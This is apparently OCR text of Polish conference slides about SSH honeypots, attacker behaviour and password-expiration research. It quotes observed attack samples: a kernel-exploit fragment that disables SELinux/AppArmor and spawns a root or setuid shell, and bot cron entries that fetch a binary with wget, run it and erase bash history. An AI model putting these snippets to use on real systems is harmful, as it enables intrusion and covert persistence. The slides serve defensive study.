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Zacznijmy od poczatku...

Opinie wyrazone tutaj sa moimi opiniami.

Niekoniecznie odzwierciedlaja opinie:
B mojego sasiada
B mojej rodziny

B a w szczegblnosci mojego pracodawcy
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Rozproszony garnek miodu
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Znam wszystkie 3 558 720 Twoich haset SSH!
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Zmienie hasto na " moment”
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Zmienie hasto na " moment”

m 40 momentéw na godzine (90 sekund)
m co najmniej 256 atakéw na godzine

m ponad 6 préb logowania w ,momencie”

01:00 02:00 03:00 04:00 05:00 06:00 07:00 08:00 09:00
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Co jeszcze wiemy z honeypotéw?

Cata masa loC i przyktadéw rzeczywistych atakéw!
m Ataki stownikowe na Wordpress.
m Konta spamowe na forum.
m Atakowane ustugi i podatnosci.

m Co sie dzieje po infekcji — nazwy proceséw, wykonywane polecenia,

pobierane pliki.
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Cata masa loC i przyktadéw rzeczywistych atakéw!
m Ataki stownikowe na Wordpress.
m Konta spamowe na forum.
m Atakowane ustugi i podatnosci.

m Co sie dzieje po infekcji — nazwy proceséw, wykonywane polecenia,

pobierane pliki.

Honeypot jest dobrym zrédtem nowych polityk bezpieczenstwa
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Mam najlepsza konfiguracje SSH!

Wszyscy do mnie dzwonig i méwia,
ze mam najlepsza konfiguracje
SSH. Zmienitem port na losowy,
OK? Nie pozwalam sie logowac ani
na roota, ani na hasto. Mdj klucz
RSA jest bardzo dtugi. Ogromny!
Zbudowatem Sciane ogniowa

i zapfacit za to pracodawca. Nikt
nie przejdzie.

Zdjecie Gage Skidmore
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Mam najlepsza konfiguracje SSH!

Zdjecie Gage Skidmore

Credentials
leaked to

windige operator

User logs into
aclean machine from
acompromised server

(21 Po-
®

tukasz Siewierski (@maldr0id)

Wszyscy do mnie dzwonia i méwia,
ze mam najlepsza konfiguracje
SSH. Zmienitem port na losowy,
OK? Nie pozwalam sie logowac ani
na roota, ani na hasto. Mdj klucz
RSA jest bardzo dtugi. Ogromny!
Zbudowatem Sciane ogniowa

i zaptacit za to pracodawca. Nikt
nie przejdzie.

N
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Root credentials?

Install Linux/Ebury

Zrédfo: raport ESET o operacji Windigo
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Ebury — zastepca SSH
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Ale wréémy do honeypotow...

{
char *msg;
switch (what_we_do) {
case 1:
msg = "AppArmor";
break;
case 2:
msg = "SELinux";
break;
case 3:
msg = "LSM";
break;
case 4:
msg = "IMA";
break;
default:
msg = "nothing, what an insecure machine!";
}
fprintf(stdout, " [+] Disabled security of : %s\n", msg);
}

if (exp_state.got_root == 1)
fprintf(stdout, " [+] Got root!\n");

else {
fprintf(stdout, " [+] Failed to get root :(\n");
exit(0);

}

main_ret = post();
if (main_ret == RUN_ROOTSHELL)
execl("/binfsh", "/bin/sh", "-i", NULL);
else if (main_ret == CHMOD_SHELL) {
chmod("/bin/sh", 04755);
fprintf(stdout, "/bin/sh is now setuid root.\n");
} else if (main_ret == FUNNY_PIC_AND_ROOTSHELL) {
system("gthumb --fullscreen ./funny.jpg");
execl("/bin/sh", "/bin/sh", "-i", NULL);
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Ale wréémy do honeypotow...

Aernel

Discretionary Access Contral Mandatory Access Control Blackhats with kernel exploits
Once a security exploit gains access to Kernel policy defines application Basement dwelling 12-year olds armed with kernel exploit
priveleged system component, the rights, firewalling applications from released past Tuesday. A SELinux disabling payload in the
entire system is compromised. compromising the entire system. exploit turns your entire MAC policy into laughing stock.

You spend the rest of the weekend removing 55H backdoors.

Red Hat and Security-Enhanced Linux (SELinux): It's really about the neat diagrams.
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Ale wr6¢my do honeypotow...
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Najlepszy przyjaciel botéw: cron

mx/1 % * *x *x killall -9 .IptabLes

mx/1 % % % % cd /var/log > dmesg

m */1 * * * x echo "unset MAILCHECK" >> /etc/profile
m *%/95 x * *x x killall -9 ferwfrre

m */96 * * * * nohup /etc/ferwfrre > /dev/null 2>&1&
m /120 * * x * cd /root;rm -rf dir nohup.out

m x/140 * x * x cd /etc; wget http://[xxx]/ferufrre

m x/1 % % % x rm -rf /root/.bash history

m x/1 % * * % touch /root/.bash history

m *x/1 * * x * history -r
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Nowa polityka bezpieczenstwa?

Threat Ex-girlfriend/boyfriend breaking into Organized criminals breaking into
your email account and publicly releasing | your email account and sending
your correspondence with the My Little spam using your identity
Pony fan club

Solution | Strong passwords Strong passwords + common

sense (don’t click on unsolicited
herbal Viagra ads that resultin
keyloggers and sorrow)

Zrédto: James Mickens, This World of Ours

m Czy polityka chroni przed rzeczywistym atakiem?
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Nowa polityka bezpieczenstwa?

Threat The Mossad doing Mossad things
with your email account

Solution | e Magical amulets?

¢ Fake your own death, move into a
submarine?

¢ YOURE STILL GONNA BE
MOSSAD’ED UPON

Zrédto: James Mickens, This World of Ours

m Czy polityka chroni przed rzeczywistym atakiem?
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Kazdy honeypot ma zte strony

$ ssh root@1.1.1.1
Password:

# ping 999.999.999.999
PING 999.999.999.999 (999.999.999.999) 56(84) bytes of data.

64 bytes from 999.999.999.999 (999.999.999.999): icmp_seq=1 ttl=50
time=45.4 ms

64 bytes from 999.999.999.999 (999.999.999.999): icmp_seq=2 ttl=50
time=40.3 ms
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Nowa polityka bezpieczenstwa?

A CRYPTO NERD'S WHAT WOULD
r IMASINATION i ACTUALLY HRPPEN:
HIs LAFTOPS ENCRYPTED. H'S LAPTOP'S ENCRYPTED.
LETS BUILD A MILLION-DDLLAR, DRUG HIM AND HIT HIM WITH
CLUSTER To CRACK IT- THIS $5 WRENCH UNTIL
NO GooD! IT's HETEUSUSTHEMDRD_
yo5¢6 -BIT RGP\" GOT I,
BLPBT' OUR
EVIL PLAN
1S FOILED! ™~

Zrédto: https://xkcd.com /538
m Czy polityka chroni przed rzeczywistym atakiem?

m Czy i jak atakujacy beda ja obchodzi¢?
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Nowa polityka bezpieczenstwa?

14% e 13%
15%
29%
41%
= VERY LIKELY

= 40%

= MODERATELY LIKELY
MINMALLY LIKELY
—37% B NOT LIKELY AT ALL

~26%
32%
Em% 22%
Born after1980 Born1965-1980 Born 1946-1964

(N=178) (N=183) (N=166)

g |

m Czy polityka chroni przed rzeczywistym atakiem?
m Czy i jak atakujacy beda ja obchodzi¢?
m Czy i jak uzytkownicy beda ja obchodzié?
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Studium przypadku: zmiana haset

X 2 Obserwyj ;{ gryzaczek/ | SAW 1D ¥ 2 Obserwuj
m c Mg @s
nie no, znowu wygasto mi hasto do eszkoty ;-; pomézcie mi wymysli¢ hasto do dziennika
po co to i tak ciggle daje to samo haslo ;-; internetowego bo mi wygasto
15:12 - 18.05.2015 18:58 - 25.12.2014
" Agnieszka $ (2 2507 Jl!STIN IS MY LIFE ¥ 2 Obserwuj
w Mialam zablokowane konto przez chwilg system kazat mi zresetowac hasio,bo
jakas dziwna aktywnosé ponoc byla % mial ktos tak?

PAMIETAJCIE, ZE MOJE HAStLO DO
DZIENNIKA TO Justen.120 ! musiatam
ﬂ Tomek P Brv— .melenIC, bo mi wygasto i boje sie, ze zapomne

20:21 - 10.10.2013

@a_ tak, zmienitem hasto ale i tak po
tygodniu wrécitem do starego bo caly czas
zapominatem ze je zmienitem &
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20:21 - 10.10.2013

@a_ tak, zmienitem hasto ale i tak po
tygodniu wrécitem do starego bo caly czas
zapominatem ze je zmienitem &

W przypadku gdy do uwierzytelniania uzytkownikéw uzywa sie hasta, jego zmiana
nastepuje nie rzadziej niz co 30 dni. Hasto skfada sie co najmniej z 6 znakdw.
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Minimalna dtugos$¢ hasta

60%

50%

40%
—Zlu-1

0% —dilu-2
——Z4ulu-3
—— Tango

0%

10%

0%

0 1 2 3 4 5 6 7 8 9 1 M 12 13 14 15

Zrédto: Bruce K. Marshall, How Forced Password Expiration Affects Password Choice
Minimalna dtugosé hasta:
Zulu: 3 znaki Tango: 6 znakéw
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Czeste zmiany hasta

Zulu -3 Unig Tango Unig

Masks: 340 2,064 Masks: 137 | 1,715
Mask Count Percent Mask Count Percent
i 589 28.5% llln 396 23.1%
1] 129 6.3% lnn 395 23.0%
111 123 6.0% llinn 133 7.8%
1 121 59% lnn 107 6.2%
llinnn 75 3.6% in 87 51%
lnn 58 2.8% linnnn 68 4.0%
M 52 2.5% llinnnn 64 3.7%
1111 51 2.5% 11T 37 22%
A 49 2.4% 1] 34 2.0%
lllnnnn 47 2.3% llinnn 27 1.6%

Zrédto: Bruce K. Marshall, How Forced Password Expiration Affects Password Choice

Czas wymuszonej zmiany hasta:

Zulu: nigdy Tango: 30 dni
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Czeste zmiany hasta

30%
25%

20%
BZilu-1

15% WZu-2
BZlu-3
10% u Tango
0%
0 1 2 3 4 5 6 7 8 9

Zrédto: Bruce K. Marshall, How Forced Password Expiration Affects Password Choice

&

Czas wymuszonej zmiany hasta:

Zulu: nigdy Tango: 30 dni
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Czeste zmiany hasta

50% uzytkownikéw tworzy nowe hasto na podstawie starego. Istnieje
algorytm testowany na bazie haset zmienianych co 90 dni, ktéry:

m moze uzyska¢ 41% aktualnych haset korzystajac ze starego hasta

w ciggu 3 sekund.

m moze uzyskaé 17% aktualnych haset w ciaggu 5 préb logowania,

korzystajac ze starego hasta.

50% uzytkownikdéw zapisuje hasta na kartkach, a jeden z zebranych

komentarzy brzmiat: ... because | was forced into changing it every month
| had to write it down

Y. Zhang, F. Monrose et al., The Security of Modern Password Expiration: An Algorithmic Framework and Empirical Analysis
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Czeste zmiany hasta

50% uzytkownikéw tworzy nowe hasto na podstawie starego. Istnieje
algorytm testowany na bazie haset zmienianych co 90 dni, ktéry:

m moze uzyskaé 41% aktualnych haset korzystajac ze starego hasta

w ciggu 3 sekund.

m moze uzyskaé 17% aktualnych haset w ciagu 5 préb logowania,

korzystajac ze starego hasta.

Jesli chcemy miec bezpieczniejszy system, nie przetwarzajmy
danych osobowych.

Y. Zhang, F. Monrose et al., The Security of Modern Password Expiration: An Algorithmic Framework and Empirical Analysis
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Dla nieSmiatych introwertykéow:

¥ omaldroid


https://twitter.com/maldr0id

Jakie honeypoty?

T-Pot (gotowe rozwigzanie)

m kippo

glastopf

m dionea (?)

honeytrap
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